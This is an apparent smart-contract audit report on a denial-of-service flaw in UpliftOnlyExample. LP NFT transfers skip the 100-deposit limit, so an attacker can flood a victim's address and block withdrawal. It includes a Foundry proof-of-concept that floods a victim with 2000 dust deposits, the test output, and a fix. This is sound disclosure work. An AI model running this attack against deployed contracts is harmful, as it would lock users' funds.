01. Relevant GitHub Links
02. Summary
UpliftOnlyExample contract enforces a limit of 100 deposits per user to prevent Denial-of-Service (DoS). However, while the deposit count is checked when a user directly calls the addLiquidityProportional function, there is no corresponding check when an LP NFT is transferred from one address to another. As a result, an attacker can flood a victim’s wallet with multiple LP NFTs (exceeding 100).
Because liquidity is withdrawn in First-In-Last-Out (FILO) order, if an attacker sends the victim many “fake” deposits after the victim’s legitimate deposit, the victim’s original deposits may never be removed, effectively locking their assets.
03. Vulnerability Details
Deposit Limit Check Only at Deposit:
The contract limits a single user to a maximum of 100 deposits by throwing an error (TooManyDeposits(pool, msg.sender)) during direct calls to the addLiquidityProportional function.
function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns (uint256[] memory amountsIn) {
if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
Lack of Check During LP NFT Transfers:
When an LP NFT is transferred (afterUpdate function), the receiver’s deposit count is not validated. Attackers can exploit this by transferring more than 100 NFTs to a single address, bypassing the intended limit.
function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}
Denial-of-Service:
The contract removes liquidity in a FILO manner by iterating backwards through a user’s FeeData array. If enough “fake” deposits (NFTs) are added to the end of this array, it becomes practically impossible for the victim’s earlier deposits to be reached in the loop. Consequently, the victim can never fully withdraw their liquidity.
Even if the contract operates in a FIFO manner, executing this attack on a specific address would result in future liquidity additions by the user being permanently locked, as the contract would be overwhelmed by the attacker-sent deposits.
04. Impact
A user with legitimate liquidity positions can be permanently locked out of removing their assets because the system attempts to iterate through attacker-injected deposits first.
The locked liquidity becomes inaccessible indefinitely, posing a severe risk to the victim’s funds.
05. Proof of Concept
function test_poc_before_transferNullLpDoS() public {
vm.txGasPrice(1);
deal(address(dai), alice, dai.balanceOf(bob));
deal(address(usdc), alice, usdc.balanceOf(bob));
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
vm.prank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256 gasStart = gasleft();
vm.prank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptAmount / 2, minAmountsOut, false, pool);
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of before attack:", gasUsedFirst);
}
function test_poc_transferNullLpDoS() public {
vm.txGasPrice(1);
deal(address(dai), alice, dai.balanceOf(bob));
deal(address(usdc), alice, usdc.balanceOf(bob));
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
vm.prank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.startPrank(bob);
uint256 bptAmountDeposit = 1;
LPNFT lpNft = upliftOnlyRouter.lpNFT();
uint256 expectedTokenId = 2;
uint256 bobUsedDai;
uint256 bobUsedUsdc;
for (uint256 i = 0; i < 2000; i++) {
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
bobUsedDai += amountsIn[0];
bobUsedUsdc += amountsIn[1];
lpNft.transferFrom(bob, alice, expectedTokenId);
expectedTokenId = expectedTokenId + 1;
}
vm.stopPrank();
console.log("Bob Used Dai: ", bobUsedDai);
console.log("Bob Used Usdc: ", bobUsedUsdc);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256 gasStart = gasleft();
vm.prank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptAmount / 2, minAmountsOut, false, pool);
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of after attack:", gasUsedFirst);
}
(hackenv) bshyuunn@hyuunn-MacBook-Air pool-hooks % forge test --mt test_poc_before_transferNullLpDoS -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] test_poc_before_transferNullLpDoS() (gas: 723838)
Logs:
Gas cost of before attack: 195838
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.29ms (3.21ms CPU time)
bshyuunn@hyuunn-MacBook-Air pool-hooks % forge test --mt test_poc_transferNullLpDoS -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] test_poc_transferNullLpDoS() (gas: 689227832)
Logs:
Bob Used Dai: 2000
Bob Used Usdc: 2000
Gas cost of after attack: 17139709
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.10s (4.88s CPU time)
Ran 1 test suite in 5.11s (5.10s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
06. Tools Used
Manual Code Review and Foundry
07. Recommended Mitigation
A simple yet effective fix is to replicate the deposit limit check in the afterUpdate function. By validating the recipient’s deposit count prior to adding a new entry to their poolsFeeData, attackers can no longer overload a victim’s wallet with excessive NFTs.
function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
...
if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
+ // New check to prevent receiving more than 100 deposits
+ if (poolsFeeData[pool][_to].length > 100) {
+ revert TooManyDeposits(pool, _to);
+ }
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
...
}
}
}
By placing this additional check, transfers that would exceed the 100-deposit limit are reverted, preventing Denial-of-Service attacks.